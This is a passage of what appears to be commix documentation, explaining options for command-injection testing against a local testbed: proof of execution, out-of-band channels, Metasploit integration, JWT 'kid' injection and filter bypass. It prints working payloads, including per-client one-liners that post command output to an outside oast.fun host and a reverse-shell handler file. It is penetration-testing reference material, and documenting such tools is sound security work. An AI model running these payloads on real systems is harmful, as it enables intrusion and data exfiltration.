nc) is not commix's connection to upgrade. - The remote shell has no backgrounding of its own: there is one socket, so ending the session with Ctrl-] ends the remote shell too, the same as closing the connection any other way.
Option: --os=OS
This option manually sets the target's operating system to either Windows or Unix-like (case-insensitive; Unix is accepted too). It overrides Commix’s automatic OS detection and tailors payloads, encodings, and command syntax based on the specified platform. Setting the correct OS improves payload accuracy, reliability, and effectiveness, especially in command execution and post-exploitation phases.
It can be useful when:
- The automatic detection is inconclusive or fails due to limited response feedback.
- You already know the target OS based on reconnaissance or headers.
- You want to bypass detection entirely for faster or stealthier testing.
Note
- Left unset, commix works the operating system out in order: what the target's own banner and
headers name it as, then - where they name nothing - what its answer to a probe of each shell
says,
POSIXandcmd.exeboth being tried rather than one being assumed. Only where neither answers is the question put to you, and answering "no" there is a fair answer: both shells are then carried through the run instead of one being guessed at. - When unsure, run commix without this option first and review the detected OS - if misidentified, re-run with
--osmanually set to ensure correct payload behavior. - Nothing overrules this value silently. Where a server banner or a heuristic points at the other operating system, commix says so and asks whether to carry on with the one you named or with the one it found; under
--batchthe one it found is kept.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os="Unix"PoC (with -v1): what the run settled on, said once before any payload is built:
[debug] The web server operating system is 'ubuntu' (Unix-like).
Switch: --proof
A run reports an injection point because a payload behaved the way an injectable parameter would. This switch asks the question again, separately, and writes down the answer: after everything else has finished, each point found is put through an experiment of its own, and the outcome is printed and saved to proof.txt beside the run's other output.
The experiment is a value the target cannot have known in advance - two seven-digit numbers drawn at random after the scan started - which the target is asked to add together. A number that large is in no page, no cache and no reflection, so only something that executed could return it. How it is asked depends on what the technique can carry back:
- A technique that returns output is asked for the sum directly and must return it.
- A technique that answers through a delay cannot return anything, so it is asked twice: whether the sum equals the right answer, and whether it equals one more than the right answer. Only a target that is working the sum out answers slowly to the first and quickly to the second.
Each entry records the challenge, what was sent, what came back, what the unmodified page contains (so an answer that was simply on the page anyway is caught), the requests and time spent, and a verdict:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proofPoC: with all four techniques detected on the same parameter, --proof re-verifies each one separately and prints (and saves to proof.txt) an entry per technique:
Proved exploitation of the following injection point(s):
* Target: http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1
* Back-end: Unix-like
* Verified: 2026-09-28 14:15:54
* Parameter: addr (GET)
* Technique: Results-based
* Challenge: The target must work out 3012516 + 6616933 = 9629449, drawn at random after the scan started.
(the product is in no page, cache or reflection - only something that executes could return it.)
sent: echo XZNABL$((3012516+6616933))XZNABL
answered: XZNABL9629449XZNABL
spent: 1 request, 0.02s
* Control: The unmodified page does not contain the answer. (CONFIRMED)
unmodified request: 0.017s on average over 30 samples.
* Verdict: The target executed what was sent and returned the result. (PROVEN)
* Parameter: addr (GET)
* Technique: Boolean-based
* Challenge: The target must work out 9366005 + 7976775 = 17342780, drawn at random after the scan started.
(the product is in no page, cache or reflection - only something that executes could return it.)
sent: echo OCHMYV$((9366005+7976775))OCHMYV
answered: OCHMYV17342780OCHMYV
spent: 150 requests, 4.21s
* Control: The unmodified page does not contain the answer. (CONFIRMED)
unmodified request: 0.017s on average over 30 samples.
* Verdict: The target executed what was sent and returned the result. (PROVEN)
* Parameter: addr (GET)
* Technique: Time-based
* Challenge: The target must work out 6111672 + 6585678 and answer whether it is 12697350, drawn at random after the scan started.
(the delay is the answer: held back where the product matches, returned at once where it does not.)
matches: 5.04s
does not: 0.06s
(one request each, timed the way every other request in the run is.)
spent: 2 requests, 5.10s
* Control: unmodified request: 0.017s on average over 30 samples.
* Verdict: The target worked out the value and answered it through the delay. (PROVEN)
* Parameter: addr (GET)
* Technique: File-based
* Challenge: The target must work out 9323913 + 2603242 and answer whether it is 11927155, drawn at random after the scan started.
(the delay is the answer: held back where the product matches, returned at once where it does not.)
matches: 3.04s
does not: 0.06s
(one request each, timed the way every other request in the run is.)
spent: 2 requests, 3.11s
* Control: unmodified request: 0.017s on average over 30 samples.
* Verdict: The target worked out the value and answered it through the delay. (PROVEN)
Note
- A point that cannot be proved is reported as
NOT PROVENrather than dropped - the finding stands, but it is not evidence on its own. Where a WAF/IPS was met, that is said too, since a blocked output channel looks the same as no execution. - This is written to be handed to somebody who was not there: it names the target, the parameter, the back-end, the time, and what makes the answer impossible to fake.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os="Windows"PoC (a Unix-like target): exactly the mismatch the NOTE above describes - commix names both operating systems and asks which to settle on, and under --batch keeps the one it found:
[warning] Identified a different operating system (i.e. 'Unix-like') than the one you defined (i.e. 'Windows').
How do you want to proceed? [(K)eep the identified 'Unix-like'/(f)orce the defined 'Windows'/(q)uit] K
Option: --msf-path=PATH
This option sets the absolute installation path of the Metasploit Framework (MSF), enabling commix to interface with MSF's post-exploitation capabilities. When correctly configured, commix can invoke MSF modules to facilitate tasks such as session management, privilege escalation, or establishing reverse shells once a successful injection has been confirmed. This integration is especially valuable in advanced exploitation workflows, providing a seamless bridge between vulnerability detection and active exploitation within the MSF ecosystem.
It can be useful for:
- Leveraging MSF's payloads and listeners directly from commix.
- Automating post-exploitation steps once a shell is obtained.
- Aligning with red team tools and methodologies.
Note
- MSF must be properly installed and accessible at the specified path.
- Permissions may be required to execute MSF commands or modules from commix.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --msf-path="/opt/metasploit-framework"Switch: --priv-esc
This option applies to a Meterpreter bind or reverse shell (bind_tcp/reverse_tcp's meterpreter/php and meterpreter/python modules, on either transport, and the web_delivery-based ones --os-shell offers for PHP, Python and Windows). It adds one line to the .rc resource file commix already writes for msfconsole: set AutoRunScript post/multi/recon/local_exploit_suggester - Metasploit's own supported way to run a post module against a handler's session the instant it opens. Without it, the operator has to notice the session, background it, and wire up the suggester by hand; with it, that happens automatically, every session, with nothing typed.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell --priv-escThe .rc file this writes (msfvenom stubbed to show the real code path, since no Metasploit install is available to verify this one live - everything downstream of the file itself is unverified against a real session):
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.10.14.5
set lport 4444
set AutoRunScript post/multi/recon/local_exploit_suggester
exploit
Note
- Only meterpreter payloads carry a session Metasploit's post modules can attach to - a plain (non-Meterpreter) bind/reverse shell gets no
AutoRunScriptline, since there is nothing for one to run against. - Confirmed to write the same line for both
bind_tcpandreverse_tcp's meterpreter payloads - the two generators share this function.
Switch: --oob
This switch tells commix to confirm and exploit injection points over an out-of-band (OAST) channel instead of the HTTP response. The payload makes the target reach out to a server commix is listening on, so a vulnerability is proven by the interaction that arrives rather than by anything the application returns.
It is the answer to injection points that produce no output and no reliable timing signal, and it applies to command injection, dynamic code evaluation, and the Shellshock module alike.
Command output travels back over the same channel: in a single request where the target has an HTTP client, or hex-encoded across DNS labels where a name lookup is all that leaves the host - either way far fewer requests than the time-based technique, which spends several per character.
Each payload also carries a sum for the target to work out, and the result has to come back for the finding to count. An interaction on its own only shows that something reached the server, which a filtering appliance fetching URLs out of a parameter would do just as well; a shell that actually ran the command returns the sum's result.
The channel backs the heuristic test as well. The results-based heuristic reads its answer out of the response, so it cannot see the very points this switch exists for - without --oob such a parameter is reported as probably not injectable, and with --smart it would be skipped altogether.
Note
- The channel is opt-in, because by default it involves a public third-party server. Use
--oob-serverto keep everything in-house. - Left unset, commix registers against the public
oast.funfirst and, if that one does not answer, against five more publicinteractshservers in turn (oast.pro,oast.live,oast.site,oast.online,oast.me) before giving up. - Supplying any other
--oob-*option turns the channel on by itself. - The target needs a way out. On Unix-like systems commix tries
curl,wgetandpython, plus a name lookup (nslookup, falling back togetent hosts,hostandping, since none of them is present everywhere). Windows targets trycurl.exe(shipped in System32 since Windows 10 1803), a name lookup, andpowershell-certutilis deliberately left out, as it blocks for over a minute per request. - Both kinds of client are tried, and the one that carries output back whole is preferred: an HTTP client wins when it reaches the server, and the name lookup is the fallback for a host that lets nothing else out. The finding names the channel it came back over, e.g.
out-of-band (over DNS) blind technique. - A name lookup carries command output too - hex-encoded, a chunk to a label, numbered so the pieces can be put back in order - so
--os-shellworks over DNS alone. -
--interpreter=pythonsays the target has Python, so that client is tried first. - Payloads use the same scheme the server is reached on, so command output is not sent in the clear unless
--oob-servernames a plain-HTTP server. Use--oob-schemewhere the target's own TLS or egress rules call for the other one.
python commix.py --url="http://commix-testbed/scenarios/stateful/oob.php?addr=127.0.0.1" --oobPoC (live against the public oast.fun server): stateful/oob.php backgrounds the command and
always answers Queued. regardless of what was sent - results-based and time-based both fail here
by construction, which is what makes it the scenario actually worth running this switch against
(not re-verified in this pass, since reaching the public server means leaving the local testbed):
[info] Using out-of-band 'oast.fun' interactsh server. Use '--oob-server' for a self-hosted one.
[info] GET parameter 'addr' appears to be injectable via out-of-band (HTTPS) blind command injection technique.
Identified the following injection point(s) with a total of 12 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Out-of-band (HTTPS)
* Type: Blind command injection
* Payload: 127.0.0.1;wget -qO- https://72a0aal1zqvb09mbbob0xc0yiu2p9ufiu.oast.fun/RFEDZI$((7577+9175))RFEDZI;
Option: --oob-server=OOB_SERVER
This option points commix at your own interactsh server instead of the public one, so that neither the payloads nor the recovered command output pass through infrastructure you do not control. The payload domain is taken from the server itself, and the scheme may be omitted.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob-server="oob.yourdomain.com"Option: --oob-token=OOB_TOKEN
This option supplies the authentication token of a self-hosted out-of-band server that requires one.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob-server="oob.yourdomain.com" --oob-token="SECRET"Option: --oob-transport=OOB_TRANSPORT
This option pins the client the payload uses to reach the out-of-band server, instead of letting commix try them in turn. Accepted values are curl, wget, python, php, ruby, openssl and dns on Unix-like targets, and curl, dns and powershell on Windows ones.
It is worth setting when the target's egress is already known: --oob-transport=dns skips the HTTP clients on a host that only resolves names, and naming an HTTP client skips the rest of the sweep. With a client pinned, commix draws no conclusion about the others, so it does not report them as unreachable.
Note
-
phpandrubyare not tried on every boundary of the sweep the way the others are. A boundary does not change whether a target has a client, and a client tried on each one costs a request every time - so they are asked once a boundary is already confirmed, where a target that has none of the usual clients still needs something that carries output back whole rather than a name at a time. Naming one here asks for it outright. -
phpis worth reaching for on exactly the targets this tool is usually pointed at: the application is already running PHP, so the interpreter is often there whencurl,wgetandpythonare not. It needs thephpcommand-line binary, which is a separate package from the module the web server runs. -
rubyreaches an HTTPS server without a client in front of it, sincenet/httpspeaks TLS itself. It is the less likely of the two to be installed on a server, so it is tried afterphp. -
opensslis the client of last resort, for a host carrying no HTTP client and no interpreter at all - and unlike a raw socket it speaks TLS, so an HTTPS server is still in reach. It writes the request onto the connection itself, counting the output first so the length header can precede the body. Becauses_clientopens a TLS connection and has no plaintext mode, it is only offered where the server is reached over HTTPS - against an--oob-schemeofhttpit would hand a handshake to a port that speaks none, so it is left out.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob --oob-transport="dns"PoC: the HTTP clients are skipped, and the payload carries the sum back through a name lookup instead:
[info] GET parameter 'addr' appears to be injectable via out-of-band (DNS) blind command injection technique.
Identified the following injection point(s) with a total of 10 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Out-of-band (DNS)
* Type: Blind command injection
* Payload: 127.0.0.1;nslookup 2qmfcylkyx2l58rewue7xjsdazgxqjtqq.oast.fun;getent hosts 2qmfcylkyx2l58rewue7xjsdazgxqjtqq.oast.fun;host 2qmfcylkyx2l58rewue7xjsdazgxqjtqq.oast.fun;ping -c1 2qmfcylkyx2l58rewue7xjsdazgxqjtqq.oast.fun;
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob --oob-transport="php"What each client sends. Two shapes matter. The first proves a command ran: the URL carries a sum the shell works out before the client is handed the string, so an appliance that merely replays a URL it found in a parameter is told apart from a target that really executed something. Over HTTPS the clients that check certificates are told not to, since a target reached that way rarely has a store to check against and failing on it would cost the whole transport:
php -r "file_get_contents('https://<token>.oast.fun/TAG$((1000+337))TAG',false,stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))));"
The second carries a command's output back. These are the exfiltration payloads each client builds, for id against an HTTPS server:
curl (id)|curl -s --data-binary @- https://<token>.oast.fun/
wget wget -qO- --post-data="$(id)" https://<token>.oast.fun/
python (id)|python3 -c "import ssl,sys,urllib.request;setattr(ssl,'_create_default_https_context',
getattr(ssl,'_create_unverified_context',None));urllib.request.urlopen(
'https://<token>.oast.fun/',data=sys.stdin.buffer.read())"
php (id)|php -r "file_get_contents('https://<token>.oast.fun/',false,stream_context_create(array(
'http'=>array('method'=>'POST','content'=>file_get_contents('php://stdin')),
'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))));"
ruby (id)|ruby -rnet/http -ropenssl -e "u=URI('https://<token>.oast.fun/');
h=Net::HTTP.new(u.host,u.port);h.use_ssl=(u.scheme=='https');
h.verify_mode=OpenSSL::SSL::VERIFY_NONE;h.post(u.request_uri,STDIN.read)"
openssl OOBLEN=$(id);printf "POST / HTTP/1.0\r\nHost: <token>.oast.fun\r\n
Content-Length: ${#OOBLEN}\r\n\r\n%s" "$OOBLEN"|openssl s_client
-connect <token>.oast.fun:443 -servername <token>.oast.fun 2>/dev/null
dns (id)|od -An -v -tx1|tr -d ' \n'|fold -w60|cat -n|tr -d ' '|tr '\t' '.'|
xargs -I{} env H=<token>.oast.fun sh -c 'nslookup $0.$H||getent hosts $0.$H||
host $0.$H||ping -c1 $0.$H' {}
powershell powershell.exe -c iwr -Uri https://<token>.oast.fun/ -Method POST
-Body (cmd /c 'whoami'|Out-String) -UseBasicParsing
Each is wrapped in (...) so a compound command sends all of its output rather than only the last part. Three of them stand apart from the rest:
-
wgetcannot post from standard input, so the output is substituted into the argument instead of piped. -
opensslwrites the request onto the connection itself. The length header has to precede the body, so the output is counted into a variable first rather than streamed - a server is not obliged to read a body off a closed connection. -
dnshas no body to put anything in. The output is hex-encoded, cut into 60-character chunks, numbered, and sent one lookup per chunk for the receiving end to put back in order - which is why it is the slowest of them, and the only one that needs more than a single request.
PoC (the php client's two payloads, run against PHP 5.5.9 on the testbed host with a local listener standing in for the out-of-band server): the sum arrives worked out rather than as written, and the command's output arrives in the body:
GET /TAG1337TAG
POST / body=b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\nLinux\n'
Note
- The
phpprogram is written witharray()rather than the short[]form, so a target running PHP older than 5.4 can read it too.
Option: --oob-scheme=OOB_SCHEME
This option sets the scheme the payload's URL carries, http or https, independently of how commix itself reaches the server. Payloads default to the server's own scheme, which is HTTPS for the public one.
It matters where the target cannot manage TLS as the server requires it - an older Windows host whose PowerShell defaults to TLS 1.0, for instance - or where only one of the two ports is allowed out. A non-default port named in --oob-server is carried into the payload's URL as well.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob --oob-scheme="http"PoC: the payload's URL carries http:// instead of the server's own default https://, and the finding is reported as the HTTP channel rather than HTTPS:
[info] GET parameter 'addr' appears to be injectable via out-of-band (HTTP) blind command injection technique.
Identified the following injection point(s) with a total of 12 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Out-of-band (HTTP)
* Type: Blind command injection
* Payload: 127.0.0.1;wget -qO- http://lbx2zcnplgaulz70gn2n00kgc4pbox5do.oast.fun/LOSMHW$((8507+9551))LOSMHW;
Option: --oob-poll=OOB_POLL
This option sets how many seconds commix waits between polls of the out-of-band server (default is 5). Lowering it shortens the delay before an interaction is noticed, at the cost of more requests to the server.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob --oob-poll=2Option: --oob-timeout=OOB_TIMEOUT
This option sets how many seconds commix waits for an interaction to arrive before giving up on it (default is 15). Raise it for targets whose outbound traffic is slow or heavily filtered.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --oob --oob-timeout=30Detection options control how commix identifies potential command injection vulnerabilities on the target application. These settings determine the scope, depth, and techniques used during initial testing phases, balancing thoroughness with scan efficiency. They help customize the detection process to fit various target environments and testing needs.
Option: --level=LEVEL
This option specifies the thoroughness level of the injection tests, ranging from 1 (light) to 3 (most thorough). Higher levels execute a larger number of payloads and perform more extensive checks, improving detection accuracy and reducing false negatives. However, increasing the level also extends the scan duration, so choose a balance between speed and comprehensiveness based on your testing needs.
Levels:
-
1: Performs basic injection tests on URL parameters and POST data only. This level is faster and suitable for quick assessments or when minimizing requests. -
2: Includes allLevel 1tests, plus injection testing in HTTP cookies. Additionally,Level 2runs an extensive suite of injection payloads to increase the likelihood of detecting more complex vulnerabilities. -
3: Includes allLevel 2tests, plus injection testing in HTTP headers (such asUser-Agent,Referer, etc.).Level 3also executes the most extensive and comprehensive set of payloads and techniques to uncover hidden or sophisticated injection points.
Note
- Use higher levels when initial scans are inconclusive or to detect complex injection vectors.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --level=3 --technique=rPoC (--technique=r restricting the run to one technique so the request count below is meaningful on its own): addr is a GET parameter, tested at every level, and it is the first one the run reaches - so it is confirmed and the run stops there before --level=3 gets a chance to widen anything. The request count is the same as at the default level, 7, either way:
[info] Testing the results-based classic command injection technique, please wait.................. (done)
Identified the following injection point(s) with a total of 7 HTTP(S) requests:
Note
-
--levelonly costs more requests where it reaches further than the default does - a cookie at2, a header at3- and only where nothing earlier in the sweep already answered first. TheReferer/User-Agentheader examples above show the level actually mattering, at207requests apiece.
Options: --string=STR, --not-string=STR, --regexp=RE, --code=N
These belong to the boolean-based technique, which reads its answer off the page rather than off the clock. They are not required: by default commix calibrates the answer for itself, from two questions whose answers it already knows. Give one of them where that reading is not enough.
| Option | A true answer is one where |
|---|---|
--string=STR |
the response contains STR
|
--not-string=STR |
the response does not contain STR
|
--regexp=RE |
the response matches RE
|
--code=N |
the response status is N
|
Note
- Only one of them at a time: each says what a true answer is, and two would disagree.
- The response is its headers as well as its body, so an answer the application carries in a
Set-Cookie, aLocationor any header of its own is as usable as one it renders. -
--regexpis matched without regard to case, and^and$read the lines of the response rather than the whole of it. - Anchor a
--stringto where the result is printed rather than to its words alone. A page that explains itself carries those words in its prose as well, and a pattern matching those matches every response - including the ones that answered no. - They apply to Unix-like and Windows targets alike, though the two answer differently: a Unix target is asked a test that stops the script when it fails, and a Windows one a test that prints a marker when it holds, cmd.exe handing no exit status back to a page that shows only what a command printed.
- See the techniques page for what the technique does with them.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/blind_exit_status.php?addr=127.0.0.1" --technique=b --string="<b>Host is up"PoC: blind_exit_status.php is not in this image; run against regular/GET/blind.php (a genuine blind scenario, whose true answer reads "...seems to be up and running!"), commix calibrates its own string when none is given and reports exactly what it settled on - which is what a manually supplied --string stands in for:
[warning] The response appears to reflect the target parameter value(s). Filtering reflected content.
[info] GET parameter 'addr' appears to be injectable via boolean-based blind command injection technique (with --string="The ip AVF seems to be up and running!").
Switch: --mine-params
commix tests the parameters a target names. This switch looks for the ones it does not: names that appear nowhere in the page, the forms or the links, and that the application reads all the same. Debug switches left in, endpoints kept for an older client, parameters a framework accepts without advertising - none of them are reachable by reading the page, and any of them can be the one that reaches a shell.
Candidates are sent 25 to a request and compared against a control page fetched with the same number of invented names, so a target that echoes any unknown parameter does not read as a hit. Only a batch that changes the page is taken apart, by halving it, until the name responsible is left. A list of about 140 candidates therefore costs around a dozen requests rather than 140.
What is found is added to the target and tested like any parameter the URL carried in the first place.
Note
- The candidate list is
data/txt/common-parameters.txt, ordered by how often the value behind a name is handed to a shell rather than by how common the name is. - Nothing is said where nothing is found.
python commix.py --url="http://commix-testbed/scenarios/discovery/hidden_param.php" --mine-paramsPoC: discovery/hidden_param.php is not in this image, so the mining pass was run against classic.php instead - the batched candidate requests run silently and, since classic.php accepts nothing beyond its documented addr, nothing is reported (matching the "nothing is said where nothing is found" rule):
[info] Mining for parameters the target answers to but does not name.
Switch: --mine-endpoints
The crawler follows what a page links to. A single-page application links to nothing: its routes are written into the JavaScript it loads, and the crawler passes over .js on its way to the anchors. This switch reads those scripts and adds the endpoints they name to the crawl.
Used with --crawl, so that what is found is tested the way any other crawled target is.
Note
- Bounded at 20 scripts per page and 1 MB of each.
- Only endpoints on the target's own host are kept.
python commix.py --url="http://commix-testbed/scenarios/discovery/spa.php" --crawl=1 --mine-endpointsSwitch: --jwt
A JSON Web Token carried in a request is a parameter like any other, and a few of its header fields are read by the target before anything has been authenticated. This switch finds the token the request already carries - looked for in the GET/POST/Cookie parameters first, then the HTTP headers - and reports what it declares.
Most of the report is answered offline, from the token as it stands. Two of the findings are not, and are answered by asking the target itself - and nothing is signed for either: a signature is made unusable, or dropped.
The target is first asked something that is not a token at all. Where it answers that exactly as it answers the real one, it is not reading the token, and nothing can be concluded from how it would answer a tampered one - so nothing is, and a warning says so. Where it does answer differently, two more questions are worth asking: does it take the same token back with a signature no key could have produced, and does it take one that declares itself unsigned? Either means the claims are being read without being checked.
The field worth the most to this tool is kid. It names which key to verify with, so the target resolves it before checking the signature it would verify - and where that lookup is built by concatenation, it is an injection sink reached on every request, which is exactly what commix goes on to test.
What is reported:
| Finding | Severity | What it means |
|---|---|---|
| The target accepts a signature that cannot be valid | critical |
It never reads the signature, so the claims are taken as read. |
The target accepts an unsigned (alg:none) token |
critical |
The same, for a token that does not even claim to be signed. |
alg is none and no signature |
critical |
The token's claims carry no signature to check them against. |
Header carries jku, x5u, jwk or x5c
|
high |
The key it is verified with is fetched from where the token says. |
No exp claim |
high |
The token does not expire. |
Asymmetric alg (RS*/ES*/PS*) |
info |
Worth checking the target does not also accept an HMAC one. |
Header carries kid
|
info |
A key lookup worth testing as an injection point. |
A finding read straight off the token is reported as confirmed; one that names something worth testing is reported as a candidate. The most severe come first, and only a real weakness is a warning.
A kid named as worth testing is not left for you to wire up by hand. The parameter carrying the token is marked as carrying its kid, and from that point every technique the run would use goes at that one field - the token is rebuilt around each payload with its claims and its signature left exactly as they arrived.
Nothing is re-signed, and nothing needs to be: this reaches the sink precisely because the target resolves kid to find a key before it has checked the signature that key would verify. Against a target that verifies first, the rebuilt token is simply refused and the field is reported as the candidate it was.
The confirmation is commix's own - the field is reported as an injection point by the same machinery that reports any other parameter, and --os-shell, --os-cmd and the enumeration switches all work through it.
Note
- Without this switch, a token in the request is still noticed - a single heuristic line names it and points here, said once per target.
- The report runs before detection, which then carries on as it always does.
The testbed carries a scenario built around exactly this - jwt_kid.php issues a signed token whose kid names a key file, and resolves that name through a shell before the signature is checked:
python commix.py --url="http://commix-testbed/scenarios/stateful/jwt_kid.php" --cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InByb2QucGVtIn0.eyJ1c2VyIjoiZ3Vlc3QifQ.sig" --level=2 --jwt --os-cmd="id"PoC (scenario jwt_kid.php): the token the page issued is read out of the cookie, the target is asked what it makes of a tampered one, the kid is named as worth testing and then tested - and the command runs through that field. The cookie parameter needs --level=2 to be reached at all, as any cookie does:
[info] Found a JSON Web Token in the Cookie parameter (algorithm 'HS256').
[warning] JWT confirmed [critical]: the target accepts a token whose signature cannot be valid (its claims are taken as read, so any of them can be restated).
[warning] JWT confirmed [critical]: the target accepts an unsigned ('alg':'none') token (its claims are taken as read, so any of them can be restated).
[warning] JWT confirmed [high]: no 'exp' claim (the token does not expire).
[info] JWT candidate [info]: header carries 'kid' ('prod.pem') (a key lookup worth testing as an injection point).
[info] Testing the 'session' parameter as the token's 'kid' from here on.
[info] Cookie parameter 'session' appears to be injectable via results-based classic command injection technique.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
- These two findings say what the target did with a tampered token, which is not the same as saying it was authenticated by one. A page that reads a token's fields without ever gating on them -
jwt_kid.phpis one - does genuinely accept any signature, and is reported as doing so.
The payload that confirmed it, decoded, is the token as it arrived with one field changed - {"alg": "HS256", "typ": "JWT", "kid": "prod.pem;echo CIAKPA$((57+74))$(echo CIAKPA)CIAKPA;"} - carrying the original claims and the original signature after it.
PoC of a richer token (same switch): RS256, a jku, a kid and no expiry:
[info] Found a JSON Web Token in the Cookie parameter (algorithm 'RS256').
[warning] JWT confirmed [high]: header carries 'jku' (the key it is verified with is fetched from where the token says).
[warning] JWT confirmed [high]: no 'exp' claim (the token does not expire).
[info] JWT candidate [info]: asymmetric algorithm 'RS256' (worth checking the target does not also accept an HMAC one).
[info] JWT candidate [info]: header carries 'kid' ('keys/prod.pem') (a key lookup worth testing as an injection point).
PoC without the switch (same request): the token is still named, once, with the switch pointed at:
[info] Heuristic (JWT) test shows that the request carries a JSON Web Token (re-run with the '--jwt' switch).
[info] JWT weakness (info): asymmetric algorithm 'RS256'.
[info] JWT weakness (high): header carries 'jku'.
[info] JWT weakness (info): header carries 'kid' ('keys/prod.pem').
[info] JWT weakness (high): no 'exp' claim.
Switch: --skip-calc
To confirm that a payload really executed, commix asks the target to work out a random sum and print the answer between two markers - an answer only something that evaluated the expression can produce. On a Unix-like target that arithmetic is written as $((5020+8180)), and a shell metacharacter followed by arithmetic expansion is a shape web application firewalls match on. Where that is what gets the request blocked, this switch replaces the sum with a marker the target has to run a command to echo back, so the proof still requires execution but the arithmetic notation never leaves your machine.
It applies to the heuristic test, the results-based payloads, the code evaluation payloads, the false-positive re-check and the out-of-band proof.
Note
- This is a payload-shape option, not a speed one. The number of requests is unchanged.
- It cannot help where arithmetic is the technique itself rather than the proof: the time-based and tempfile-based payloads gate their delay on
sleep $((...)), so a target that rejects arithmetic expansion outright is beyond the reach of those techniques whatever this switch is set to.--skip-substis the switch for that case. -
--tamper=backticksis worth trying alongside it, since it moves command substitution from$(...)to backticks.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --skip-calc PoC: left unrestricted, all four techniques confirm;
only the results-based payload's proof marker changes, dropping the $((...)) arithmetic for a fixed
string instead of a computed sum - boolean-based, time-based and file-based do not use this arithmetic
shape at all, so --skip-calc changes nothing for them:
Identified the following injection point(s) with a total of 63 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo KJEBPF$(echo KJEBPF)KJEBPF;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;UUPM=$(echo FCVIEA);if [ ${#UUPM} -eq 6 ];then echo HGBNFJ;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;UUPM=$(echo NKJHZU);UUPM1=${#UUPM};sleep $((5*(6==$UUPM1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;UUPM=$(echo TJNWQH >/tmp/MMOFCF.txt);UUPM1=$(cat /tmp/MMOFCF.txt);if [ 6 -eq ${#UUPM1} ];then echo HGBNFJ;fi;
Switch: --skip-subst
Every technique's proof of execution nests a command substitution somewhere - results-based to tell
real execution from mere reflection, time-based to compute the delay it gates on, out-of-band to
compute the value it checks for in the interaction. A filter blocking both $(...) and a backtick at
once (not just arithmetic, the whole mechanism) defeats all of them, and no tamper script can route
around it: a tamper rewrites syntax, it does not invent a third command-substitution form POSIX shell
does not have.
--skip-subst gives the time-based technique a plain sleep N instead, with nothing computed at
all, and turns its false-positive check into an if test COND / then sleep N / fi block -
branching on a real exit status with nothing but the test builtin and a newline, where [ COND ]
followed by reading $? would need a ] and a $ that the same filter is just as likely to block.
Note
- This proves the parameter is vulnerable; it does not read a command's output back.
--os-cmdunder this switch fires the command for real - asleepconfirms the shell reached it - but cannot retrieve what it printed, since that still needs$(...)for the character-by-character comparison the retrieval is built on. - Only the separators that run what follows them unconditionally (
;, a newline,&) get the plain delay;&&,||and|still use the computed check, since a plainsleepafter them is not guaranteed to run at all. - Combine with
--technique=t, since results-based, boolean-based, file-based and out-of-band all still depend on a working command substitution and fail cleanly under this kind of filter.
python commix.py --url="http://commix-testbed/scenarios/ctf/rootme_filter_bypass.php" --data="ip=127.0.0.1" --technique=t --skip-substPoC (recreating Root-Me: Command injection - Filter
bypass, whose
preg_replace() blacklist strips \ $ | `` ; & < > ] outright):
Identified the following injection point(s) with a total of 130 HTTP(S) requests:
Parameter: ip (POST)
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1\nsleep 5
[09:58:55] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
Switch: --skip-empty
This option skips testing parameters that have empty values, which are generally less likely to be injectable. By focusing only on inputs containing data, it optimizes scan speed and improves accuracy.
Note
- A parameter is treated as empty whether its value is absent or blank, including when it is the only parameter in the request.
python commix.py --url="http://commix-testbed/scenarios/stateful/decoys.php?addr=127.0.0.1&fixed=anything&blank=" --skip-emptyPoC: the empty blank parameter is skipped by name,
and addr - the one of the three that actually reaches the shell - is confirmed injectable via all
four techniques:
[warning] Skipped the GET parameter 'blank' from testing because you specified testing of only parameter(s) with non-empty value.
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --skip-static
A parameter whose value never changes the page it is sent to is unlikely to reach anything that runs it. This switch leaves such parameters untested.
Important
- The verdict comes from comparing whole pages, so on a page that is mostly layout a parameter that does reach a shell can still read as static. Where that is a risk, give
--text-onlyalongside, which compares the text and leaves the markup out of it. - A parameter named with
-pis tested whatever this switch concludes. - The bar a parameter has to clear is read off the target itself, not a fixed number: two identical
requests are compared first, and a parameter only reads as static where changing it moves the
page less than that pair already did on its own. Against a target whose response is never
